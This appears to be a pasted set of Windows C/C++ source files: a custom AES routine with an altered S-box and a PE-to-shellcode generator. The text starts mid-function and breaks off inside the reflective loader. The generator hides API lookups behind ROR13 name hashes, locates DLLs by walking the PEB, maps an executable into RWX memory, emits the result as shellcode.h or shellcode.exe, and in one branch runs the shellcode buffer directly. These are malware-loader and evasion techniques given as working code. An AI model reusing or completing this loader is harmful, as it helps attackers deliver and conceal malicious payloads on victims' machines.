    free(buffer);

    printf("\n已生成: %s (大小 %zu 字节)\n", outPath, written);
    getchar();
    return 0;
}

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "AES.h"
unsigned int big_box[] = {
    0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,
    0x1B000000, 0x36000000
};
//unsigned char Sbox[] = {
//    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
//    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
//    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
//    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
//    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
//    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
//    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
//    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
//    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
//    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
//    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
//    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
//    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
//    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
//    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
//    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
//};

unsigned char Sbox[513] = {
    0xA7, 0xB8, 0x36, 0xAF, 0x0E, 0x46, 0x3E, 0x9D, 0xCD, 0x47, 0xDF, 0xAA, 0x97, 0x15, 0xE4, 0x38,
    0x6B, 0x66, 0x04, 0xB6, 0xEF, 0xA3, 0xB2, 0x6F, 0xFD, 0x7A, 0x0B, 0x9C, 0x77, 0x12, 0x40, 0xEB,
    0x94, 0xF8, 0x81, 0x3D, 0xD4, 0x3B, 0x78, 0x72, 0xB5, 0x1C, 0xF0, 0x61, 0x2F, 0xE3, 0xC3, 0xD6,
    0x31, 0xFC, 0x4B, 0x84, 0x41, 0xF7, 0x3F, 0x6E, 0x5E, 0xC1, 0x07, 0xE7, 0x08, 0x33, 0xE2, 0x57,
    0xA6, 0x68, 0xBD, 0x20, 0x2E, 0x30, 0xCC, 0x6A, 0x2D, 0x43, 0x1B, 0xEC, 0xCB, 0xE9, 0xD2, 0x7F,
    0x23, 0x0C, 0x49, 0x11, 0x24, 0xF6, 0x8D, 0xC2, 0x48, 0x65, 0x7B, 0x22, 0x25, 0x3C, 0xAD, 0x1D,
    0x02, 0x70, 0xEA, 0xE1, 0xCA, 0x32, 0xA2, 0x71, 0xD3, 0x80, 0x28, 0xD7, 0x4C, 0x54, 0x18, 0x8B,
    0x42, 0x05, 0xA5, 0xF1, 0x8F, 0x79, 0x2C, 0x19, 0x1A, 0x9A, 0x82, 0x2A, 0xA0, 0x99, 0x00, 0x63,
    0x7C, 0xD0, 0xCF, 0x1F, 0xBA, 0xF9, 0xDD, 0xB7, 0x93, 0x7D, 0xD9, 0x5A, 0xB0, 0xDB, 0x4F, 0x4E,
    0xC8, 0x09, 0x53, 0x9B, 0x45, 0xA4, 0xEE, 0xE6, 0xBC, 0x7E, 0x62, 0xD8, 0xFA, 0xB4, 0xC7, 0x8C,
    0x86, 0xAC, 0x4D, 0xC9, 0x4A, 0x50, 0x5C, 0xD5, 0x8A, 0x6D, 0xF3, 0xA9, 0xE0, 0x98, 0xFE, 0xCE,
    0x91, 0x0A, 0xDA, 0x5F, 0x90, 0x74, 0x5D, 0x85, 0x51, 0x55, 0x17, 0x06, 0xBE, 0xA1, 0x92, 0xA8,
    0x03, 0xC0, 0x52, 0xDC, 0x39, 0x73, 0xFB, 0xF2, 0x67, 0x95, 0x59, 0x56, 0x2B, 0x14, 0x89, 0x87,
    0x21, 0x35, 0xF5, 0xD1, 0x44, 0x26, 0x76, 0xB1, 0xC6, 0xBB, 0x5B, 0x6C, 0x1E, 0xE5, 0x37, 0x16,
    0x88, 0x8E, 0x0F, 0xAE, 0x27, 0xED, 0xFF, 0x96, 0x60, 0x58, 0x10, 0x69, 0x13, 0x3A, 0xC5, 0xF4,
    0x9E, 0x64, 0xE8, 0xDE, 0x75, 0x9F, 0xC4, 0x29, 0xAB, 0x01, 0xB3, 0xBF, 0x83, 0x34, 0x0D, 0xB9,
    0xA7
};

unsigned char InSbox[256];

char en3_box[16] = {
    2, 3, 1, 1,
    1, 2, 3, 1,
    1, 1, 2, 3,
    3, 1, 1, 2
};

char de3_box[16] = {
    0x0E, 0x0B, 0x0D, 0x09,
    0x09, 0x0E, 0x0B, 0x0D,
    0x0D, 0x09, 0x0E, 0x0B,
    0x0B, 0x0D, 0x09, 0x0E
};

#define BYTE0(x)    ((unsigned char)(((x) >> 0) & 0xFF))
#define BYTE1(x)    ((unsigned char)(((x) >> 8) & 0xFF))
#define BYTE2(x)    ((unsigned char)(((x) >> 16) & 0xFF))
#define BYTE3(x)    ((unsigned char)(((x) >> 24) & 0xFF))

uint32_t byteswapulong(char* a)
{
    return (uint32_t)((a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3]);
}

void exkey(char* buf, int n16, unsigned int* ex_key)
{
    unsigned int* ex_key_1;
    unsigned int* v8;
    unsigned int* v9;

    if (buf && ex_key && n16 == 16)
    {
        ex_key_1 = ex_key;
        v9 = ex_key + 44;
        for (int i = 0; i < 4; ++i)
            ex_key[i] = byteswapulong(&buf[4 * i]);
        for (int j = 0; j < 10; ++j)
        {
            ex_key_1[4] = big_box[j] ^ Sbox[BYTE3(ex_key_1[3])] ^ (Sbox[BYTE0(ex_key_1[3])] << 8) ^ (Sbox[BYTE1(ex_key_1[3])] << 16) & 0xFF0000 ^ (Sbox[BYTE2(ex_key_1[3])] << 24) ^ *ex_key_1;
            ex_key_1[5] = ex_key_1[4] ^ ex_key_1[1];
            ex_key_1[6] = ex_key_1[5] ^ ex_key_1[2];
            ex_key_1[7] = ex_key_1[6] ^ ex_key_1[3];
            ex_key_1 += 4;
        }
        v8 = ex_key + 40;
        for (int k = 0; k < 11; ++k)
        {
            for (int m = 0; m < 4; ++m)
                v9[m] = v8[m];
            v8 -= 4;
            v9 += 4;
        }
    }
}

void exinput(unsigned char* buf, unsigned char* input)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * j + i] = *input++;;
}

void exoutput(unsigned char* buf, unsigned char* out)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            *out++ = buf[4 * j + i];
}

void en1(unsigned char* buf)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] = Sbox[buf[4 * i + j]];
}

void en2(unsigned char* buf)
{
    unsigned char a[4];

    memset(a, 0, sizeof(a));
    for (int i = 0; i < 4; ++i)
    {
        for (int j = 0; j < 4; j++)
            a[(j + 4 - i) % 4] = buf[4 * i + j];
        for (int j = 0; j < 4; j++)
            buf[4 * i + j] = a[j];
    }
}

char en3_cry(char a1, char a2)
{
    int v5;

    char v3 = 0;
    for (int i = 0; i < 8; ++i)
    {
        if ((a1 & 1) != 0)
            v3 ^= a2;
        v5 = a2 & 0x80;
        a2 *= 2;
        if (v5)
            a2 ^= 0x1Bu;
        a1 = a1 >> 1;
    }
    return v3;
}

void en3(unsigned char* buf)
{
    char v5;
    char v6;
    char v7;
    char v9[16];

    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            v9[4 * i + j] = buf[4 * i + j];

    for (int k = 0; k < 4; ++k)
    {
        for (int m = 0; m < 4; ++m)
        {
            v5 = en3_cry(en3_box[4 * k], v9[m]);
            v6 = en3_cry(en3_box[4 * k + 1], v9[m + 4]) ^ v5;
            v7 = en3_cry(en3_box[4 * k + 2], v9[m + 8]) ^ v6;
            buf[4 * k + m] = en3_cry(en3_box[4 * k + 3], v9[m + 12]) ^ v7;
        }
    }
}

void en4(unsigned char* buf, unsigned int* ex_key)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] ^= ex_key[j] >> (8 * (3 - i));
}

void En_AES(unsigned char* input, unsigned int i, unsigned char* key, unsigned char* output)
{
    unsigned int j;
    int k;
    unsigned char* buf_1;
    unsigned char* inputa;
    unsigned char ex_input[16];
    unsigned int ex_key[92];
    unsigned int* ex_key_1;
    char key01[32];

    inputa = input;
    buf_1 = output;
    ex_key_1 = ex_key;
    memset(key01, 0, sizeof(key01));
    memset(ex_input, 0, sizeof(ex_input));
    if (key && input && output && !(i % 0x10))
    {
        memcpy(key01, key, 0x10uLL);
        exkey(key01, 16, ex_key);
        for (j = 0; j < i; j += 16)
        {
            exinput(ex_input, inputa);
            en4(ex_input, ex_key);
            for (k = 1; k < 10; ++k)
            {
                ex_key_1 += 4;
                en1(ex_input);
                en2(ex_input);
                en3(ex_input);
                en4(ex_input, ex_key_1);
            }
            en1(ex_input);
            en2(ex_input);
            en4(ex_input, ex_key_1 + 4);
            exoutput(ex_input, buf_1);
            buf_1 += 16;
            inputa += 16;
            ex_key_1 = ex_key;
        }
    }
}

void MakeInSBpx()
{
    for (int i = 0; i < 256; i++)
    {
        InSbox[Sbox[i]] = i;
    }
}

void de1(unsigned char* a1)
{
    for (int i = 0; i <= 3; ++i)
        for (int j = 0; j <= 3; ++j)
            a1[4 * i + j] = InSbox[a1[4 * i + j]];
}

void de2(unsigned char* a1) {
    unsigned char a[4] = { 0 };
    unsigned char t[4] = { 0 };
    int r, c;

    for (int i = 1; i < 4; ++i) {
        for (int j = 0; j < 4; j++)
        {
            a[j] = a1[4 * i + j];

        }
        for (int j = 0; j < 4; j++)
        {
            a1[4 * i + j] = a[(j + 4 - i) % 4];
        }

    }
}

void de3(unsigned char* a1) {
    char check[16] = { 0 };
    for (int c = 0; c < 16; c++)
    {
        if (a1[c] == 0) {
            check[c] = 1;
            a1[c] = 1;
        }
    }
    unsigned char v6[16] = { 0 };
    strncpy((char*)v6, (char*)a1, 16);
    for (int cc = 0; cc < 16; cc++) {
        if (check[cc] == 1) {
            v6[cc] = 0;
        }
    }

    int i, j, k, m;
    int v1 = 0;
    int v2 = 0, v3 = 0, v4 = 0;
    int mi;
    for (k = 0; k <= 3; ++k)
    {
        for (m = 0; m <= 3; ++m)
        {
            a1[4 * k + m] = en3_cry(de3_box[4 * k], v6[m]) ^ en3_cry(de3_box[4 * k + 1], v6[4 + m]) ^ en3_cry(de3_box[4 * k + 2], v6[8 + m]) ^ en3_cry(de3_box[4 * k + 3], v6[12 + m]);
        }
    }
}

void de4(unsigned char* buf, unsigned int* ex_key)
{
    for (int i = 0; i < 4; ++i)
        for (int j = 0; j < 4; ++j)
            buf[4 * i + j] ^= ex_key[j] >> (8 * (3 - i));
}

void De_AES(unsigned char* input, unsigned int i, unsigned char* key, unsigned char* output)
{
    unsigned int j;
    int k;
    unsigned char* buf_1;
    unsigned char* inputa;
    unsigned char ex_input[16];
    unsigned int ex_key[92];
    unsigned int* ex_key_1;
    char key01[32];

    MakeInSBpx();

    inputa = input;
    buf_1 = output;
    ex_key_1 = ex_key;
    memset(key01, 0, sizeof(key01));
    memset(ex_input, 0, sizeof(ex_input));
    if (key && input && output && !(i % 0x10))
    {
        memcpy(key01, key, 0x10uLL);
        exkey(key01, 16, ex_key);
        for (j = 0; j < i; j += 16)
        {
            exinput(ex_input, inputa);
            ex_key_1 += 40;
            de4(ex_input, ex_key_1);
            de2(ex_input);
            de1(ex_input);
            for (k = 1; k < 10; ++k)
            {
                ex_key_1 -= 4;
                de4(ex_input, ex_key_1);
                de3(ex_input);
                de2(ex_input);
                de1(ex_input);
            }
            de4(ex_input, ex_key_1 - 4);
            exoutput(ex_input, buf_1);
            buf_1 += 16;
            inputa += 16;
            ex_key_1 = ex_key;
        }
    }
}

续

#include<stdbool.h>
#include <windows.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <winternl.h>
#include <stdio.h>
#include"shellcode.h"

#define ROL4(value, count) (((value) << (count)) | ((value) >> (32 - (count))))
#define ROR4(value, count) (((value) >> (count)) | ((value) << (32 - (count))))

unsigned int GetRor413(char* in)
{
    unsigned int ret = 0;
    char* p = in;
    while (*p != 0)
    {
        ret = ROL4(ret, 13);
        if (*p >= 'a' && *p <= 'z')
            ret += *p - 0x20;
        else
            ret += *p;
        p += 1;
    }
    return ret;
}

void GetHash(const char* str)
{
    unsigned int Hash = 0;
    char Str[100] = { 0 };
    memcpy(Str, str, strlen(str));

    Hash = GetRor413(Str);
    printf("unsigned int %sHash = 0x%08lx;\n", str, Hash);
}

void debugGetHash()
{
    //GetHash("KERNELBASE.dll");
    //GetHash("ntdll.dll");
    //GetHash("LoadLibraryA");
    //GetHash("VirtualAlloc");
    //GetHash("RtlCopyMemory");
    //GetHash("RtlZeroMemory");
    //GetHash("GetSystemInfo");
    //GetHash("GetProcAddress");
    //GetHash("VirtualProtect");
    //GetHash("GetCurrentProcess");
    //GetHash("FlushInstructionCache");
    //HMODULE a = LoadLibraryA("kernelbase.dll");
    //printf("KernelBase : %llx\n", a);
    return;
}

#define _CRT_SECURE_NO_WARNINGS
extern "C" {
    __declspec(selectany) char __mycode_begin = 0;
}
#pragma code_seg(".mycode")

HMODULE FindModuleByPEB(unsigned int MoudleHash);

FARPROC FindFuncByMODULE(HMODULE hModule, unsigned int FuncHash);

int Loader(char* fadd);

void CallLoader();

#pragma comment(linker, "/SECTION:.mycode,ERW")

extern "C" {
    __declspec(selectany) char __mycode_end = 0;
}
void TakeItOut()
{
    unsigned char* start = (unsigned char*)&__mycode_begin;
    unsigned char* end = (unsigned char*)&__mycode_end;
    size_t size = end - start;
    printf("%llx\n", start);
    printf("%llx\n", end);
    printf("%llx\n", size);

}

void InLoad()
{
    HANDLE hf = CreateFileA(
        "C:\\atest_64.exe",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hf == INVALID_HANDLE_VALUE)
        return;

    DWORD s = GetFileSize(hf, NULL);
    if (s == INVALID_FILE_SIZE || s == 0)
    {
        CloseHandle(hf);
        return;
    }

    char* fadd = (char*)VirtualAlloc(
        NULL,
        s,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!fadd)
    {
        CloseHandle(hf);
        return;
    }

    DWORD bytesRead = 0;
    ReadFile(
        hf,
        fadd,
        s,
        &bytesRead,
        NULL
    );

    CloseHandle(hf);

    if (bytesRead != s)
        return;

    Loader(fadd);
}

bool isend(char* i)
{
    unsigned char endcode[9] = {
    0x48, 0x8D, 0xA5, 0x20, 0x03, 0x00, 0x00, 0x5D, 0xC3
    };
    int ret = memcmp(i, endcode, 9);
    if (ret == 0) return true;
    else return false;
}

class FileManager
{
public:
    FileManager(const char* pathname, int c);
    FileManager();

    void ThisGetFileSize();
    void CloseMe();
    void ThisWriteFile(PBYTE buffer);
    
    HANDLE FileHandle;
    size_t FileSize;
    DWORD bytesWritten = 0;
};

void FileManager::ThisWriteFile(PBYTE buffer)
{
    DWORD size = 0;
    
    while (buffer[size] != 0) size++;

    WriteFile(FileHandle, buffer, size, &bytesWritten, NULL);
}

void FileManager::ThisGetFileSize()
{
    FileSize = GetFileSize(FileHandle, NULL);
}

void FileManager::CloseMe()
{
    CloseHandle(FileHandle);
}

FileManager::FileManager(const char* pathname, int c)
{
    printf("[+]: Opening %s!\n", pathname);

	if (c == OPEN_EXISTING)
        FileHandle = CreateFileA(pathname, GENERIC_READ, FILE_SHARE_READ, NULL, c, FILE_ATTRIBUTE_NORMAL, NULL);
    else if(c == CREATE_ALWAYS)
        FileHandle = CreateFileA(pathname, GENERIC_WRITE, FILE_SHARE_READ, NULL, c, FILE_ATTRIBUTE_NORMAL, NULL);

    if (FileHandle == INVALID_HANDLE_VALUE)
    {
        printf("[-]: Open %s Wrong!\n", pathname);
    }
}

FileManager::FileManager()
{
    printf("[De]: In Debugger!\n");
    FileHandle = CreateFileA("C:\\atest_64.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (FileHandle == INVALID_HANDLE_VALUE)
    {
        printf("[-]: Open %s Wrong!", "C:\\atest_64.exe");
    }
}

void show_progress_bar(void) {
    static int calls = 0;
    static int percent = 0;
    const int total_slots = 10;
    if (calls == 0) {
        percent = 0;
    }
    else {
        if (percent < 100) percent += 10;
    }
    calls++;
    int filled = percent / 10;
    printf("\r[");
    for (int i = 0; i < filled; ++i) putchar('=');
    for (int i = filled; i < total_slots; ++i) putchar(' ');
    printf("] %3d%%", percent);
    fflush(stdout);
    if (percent >= 100) printf("\n");
}

void WriteByH(FileManager* Wf, FileManager* f, unsigned int size, char* array)
{
    unsigned char Cwrite[100] = { 0 };

    sprintf((char*)Cwrite, "unsigned char opcode[0x%x] = \n{\n\t", size + f->FileSize);

    Wf->ThisWriteFile(Cwrite);

    memset(Cwrite, 0, 100);

    printf("[+]: Writing shellcode.h!\n");
    show_progress_bar();

    unsigned int total = size + f->FileSize;
    unsigned int step = total / 10;
    unsigned int next = 0;

    for (unsigned int i = 0; i < total; i++)
    {
        if (i >= next)
        {
            show_progress_bar();
            next += step;
        }
        sprintf((char*)Cwrite, "0x%02x, ", (unsigned char)array[i]);
        Wf->ThisWriteFile(Cwrite);

        if (((i + 1) % 10 == 0))
        {
            sprintf((char*)Cwrite, "\n\t");
            Wf->ThisWriteFile(Cwrite);
        }
        memset(Cwrite, 0, 10);
    }

    sprintf((char*)Cwrite, "\n};");
    Wf->ThisWriteFile(Cwrite);

    printf("[+]: Write down!\n");

    DWORD oldProtect;
    char* shellcode = (char*)opcode;
    VirtualProtect(opcode, sizeof(opcode), PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)())shellcode)();
}

void WriteByExe(FileManager* Wf, FileManager* f, unsigned int size, char* array)
{
    DWORD bytesWritten = 0;
    WriteFile(Wf->FileHandle, array, size + f->FileSize, &bytesWritten, NULL);
}

int main(int argc,const char* argv[])
{
    char* p = (char*)CallLoader;
    char* e = (char*)Loader;
    while (!isend(e))
        e++;
    e += 9;
    size_t size = e - p;

    printf("[+]: shellcode info\n");
    printf("[+]: start addr :%llx\n", p);
    printf("[+]: end addr :%llx\n", e);
    printf("[+]: size :%llx\n", size);// 0x13e2
    printf("[+]: end code :%02x\n", (unsigned char)*e);

    FileManager* f = nullptr;

    if (argc == 2)
        f = new FileManager(argv[1], OPEN_EXISTING);
    else
        f = new FileManager();

    if (f->FileHandle == INVALID_HANDLE_VALUE)
    {
		printf("[-]: Open file Wrong!\n");
        return 0;
    }
    f->ThisGetFileSize();

    char* array = (char*)VirtualAlloc(
        NULL,
        size + f->FileSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    memmove(array, p, size);

    int* poldoffset = (int*)(array + 28);

    if (*poldoffset != size)
    {
        printf("[+]: old offset: %x\n", *poldoffset);
        *poldoffset = size;
        printf("[+]: Fix!\n");
    }

    DWORD bytesRead = 0;

    ReadFile(f->FileHandle, array + size, f->FileSize, &bytesRead, NULL);
    
    if (bytesRead != f->FileSize)
        return 0;

    FileManager* Wf = nullptr;

    int ret = MessageBoxA(
        NULL,
        "是否生成.exe文件",
        "提示",
        MB_YESNO | MB_ICONQUESTION
    );

    if (ret == IDNO)
    {
        Wf = new FileManager("shellcode.h", CREATE_ALWAYS);
        WriteByH(Wf, f, size, array);
    }
    {
        Wf = new FileManager("shellcode.exe", CREATE_ALWAYS);
        WriteByExe(Wf, f, size, array);
    }

    Wf->CloseMe();
    f->CloseMe();

    delete Wf;
    delete f;

	return 0;
}

void CallLoader()
{
    char* now = (char*)CallLoader;
    Loader(now + 0x1312);
    return;
}

HMODULE FindModuleByPEB(unsigned int MoudleHash)
{
    PTEB pTEB = (PTEB)__readgsqword(0x30);
    PPEB pPEB = pTEB->ProcessEnvironmentBlock;
    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry && pEntry->FullDllName.Buffer)
        {
            wchar_t* dllName = pEntry->FullDllName.Buffer;

            wchar_t* fileName = NULL;
            wchar_t* temp = (wchar_t*)dllName;

            while (*temp) {
                if (*temp == L'\\') {
                    fileName = temp + 1;
                }
                temp++;
            }

            if (!fileName) {
                fileName = (wchar_t*)dllName;
            }

            unsigned int ThisFuncHash = 0;
            char* p = (char*)fileName;

            while (*p)
            {
                ThisFuncHash = ROL4(ThisFuncHash, 13);
                if (*p >= 'a' && *p <= 'z')
                    ThisFuncHash += *p - 0x20;
                else
                    ThisFuncHash += *p;
                p += 2;
            }

            if (ThisFuncHash == MoudleHash) {

                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;

                return hKernel32;

            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }

    return NULL;
}

FARPROC FindFuncByMODULE(HMODULE hModule, unsigned int FuncHash)
{
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD FunctionNums = pExportDirectory->NumberOfNames;
    DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
    DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
    WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < FunctionNums; i++) {
        char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

        unsigned int ThisFuncHash = 0;
        char* p = (char*)functionName;

        while (*p)
        {
            ThisFuncHash = ROL4(ThisFuncHash, 13);
            if (*p >= 'a' && *p <= 'z')
                ThisFuncHash += *p - 0x20;
            else
                ThisFuncHash += *p;
            p++;
        }

        if (ThisFuncHash == FuncHash)
        {
            FARPROC functionRVA = (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
            return functionRVA;
        }
    }
    return NULL;
}

int Loader(char* fadd)
{
    unsigned int ntdllHash = 0xb4dae5e7;
    unsigned int Kernel32Hash = 0x45a266c9;
    unsigned int kernelbaseHash = 0x7d33bb31;

    HMODULE hNtdll = (HMODULE)FindModuleByPEB(ntdllHash);
    HMODULE hKernel32 = (HMODULE)FindModuleByPEB(Kernel32Hash);
    HMODULE hKernelBase = (HMODULE)FindModuleByPEB(kernelbaseHash);

    if (!hKernel32)
        return 0;

    typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
    typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);
    typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
    typedef BOOL(WINAPI* pFlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
    typedef VOID(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);
    typedef HANDLE(WINAPI* pGetCurrentProcess)(VOID);
    typedef VOID(*pRtlCopyMemory)(PVOID, const VOID*, SIZE_T);
    typedef VOID(*pRtlZeroMemory)(PVOID, SIZE_T Length);

    unsigned int LoadLibraryAHash = 0xb583c684;
    unsigned int VirtualAllocHash = 0xe6959c02;
    unsigned int RtlCopyMemoryHash = 0xe8faf7ab;
    unsigned int RtlZeroMemoryHash = 0xfbd86dab;
    unsigned int GetSystemInfoHash = 0x4f70bfb1;
    unsigned int GetProcAddressHash = 0x8ac5a822;
    unsigned int VirtualProtectHash = 0x13d67950;
    unsigned int GetCurrentProcessHash = 0x271f59f0;
    unsigned int FlushInstructionCacheHash = 0x3aa03770;

    pLoadLibraryA           fLoadLibraryA = NULL;
    pVirtualAlloc           fVirtualAlloc = NULL;
    pRtlCopyMemory          fRtlCopyMemory = NULL;
    pRtlZeroMemory          fRtlZeroMemory = NULL;
    pGetSystemInfo          fGetSystemInfo = NULL;
    pGetProcAddress         fGetProcAddress = NULL;
    pVirtualProtect         fVirtualProtect = NULL;
    pGetCurrentProcess      fGetCurrentProcess = NULL;
    pFlushInstructionCache  fFlushInstructionCache = NULL;

    fLoadLibraryA = (pLoadLibraryA)FindFuncByMODULE(hKernel32, LoadLibraryAHash);
    fVirtualAlloc = (pVirtualAlloc)FindFuncByMODULE(hKernelBase, VirtualAllocHash);
    fRtlCopyMemory = (pRtlCopyMemory)FindFuncByMODULE(hNtdll, RtlCopyMemoryHash);
    fRtlZeroMemory = (pRtlZeroMemory)FindFuncByMODULE(hNtdll, RtlZeroMemoryHash);
    fGetSystemInfo = (pGetSystemInfo)FindFuncByMODULE(hKernelBase, GetSystemInfoHash);
    fGetProcAddress = (pGetProcAddress)FindFuncByMODULE(hKernel32, GetProcAddressHash);
    fVirtualProtect = (pVirtualProtect)FindFuncByMODULE(hKernelBase, VirtualProtectHash);
    fGetCurrentProcess = (pGetCurrentProcess)FindFuncByMODULE(hKernel32, GetCurrentProcessHash);
    fFlushInstructionCache = (pFlushInstructionCache)FindFuncByMODULE(hKernelBase, FlushInstructionCacheHash);

    //printf("Ntdll        %llx\n", hNtdll);
    //printf("Kernel32     %llx\n", hKernel32);
    //printf("KernelBase   %llx\n", hKernelBase);
    //printf("LoadLibraryA            :%llx\n", (ULONG_PTR)fLoadLibraryA);
    //printf("VirtualAlloc            :%llx\n", (ULONG_PTR)fVirtualAlloc);
    //printf("RtlCopyMemory           :%llx\n", (ULONG_PTR)fRtlCopyMemory);
    //printf("RtlZeroMemory           :%llx\n", (ULONG_PTR)fRtlZeroMemory);
    //printf("GetSystemInfo           :%llx\n", (ULONG_PTR)fGetSystemInfo);
    //printf("GetProcAddress          :%llx\n", (ULONG_PTR)fGetProcAddress);
    //printf("VirtualProtect          :%llx\n", (ULONG_PTR)fVirtualProtect);
    //printf("GetCurrentProcess       :%llx\n", (ULONG_PTR)fGetCurrentProcess);
    //printf("FlushInstructionCache   :%llx\n", (ULONG_PTR)fFlushInstructionCache);

    if (!fLoadLibraryA || !fGetProcAddress || !fVirtualAlloc || !fRtlCopyMemory || !fRtlZeroMemory || !fGetSystemInfo || !fVirtualProtect || !fGetCurrentProcess || !fFlushInstructionCache)
        return 0;

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)fadd;
    if (!pDos) return 0;
    if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return 0;

    PIMAGE_NT_HEADERS64 pNt64 = (PIMAGE_NT_HEADERS64)(fadd + pDos->e_lfanew);
    if (pNt64->Signature != IMAGE_NT_SIGNATURE) return 0;

    BOOL is64 = (pNt64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC);
    if (!is64 && pNt64->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC)
        return 0;

    SIZE_T ImageSize = (SIZE_T)pNt64->OptionalHeader.SizeOfImage;
    if (ImageSize == 0) return 0;

    LPVOID pAlloc = fVirtualAlloc(NULL, ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pAlloc) return 0;

    fRtlZeroMemory(pAlloc, ImageSize);

    SIZE_T headersSize = pNt64->OptionalHeader.SizeOfHeaders;
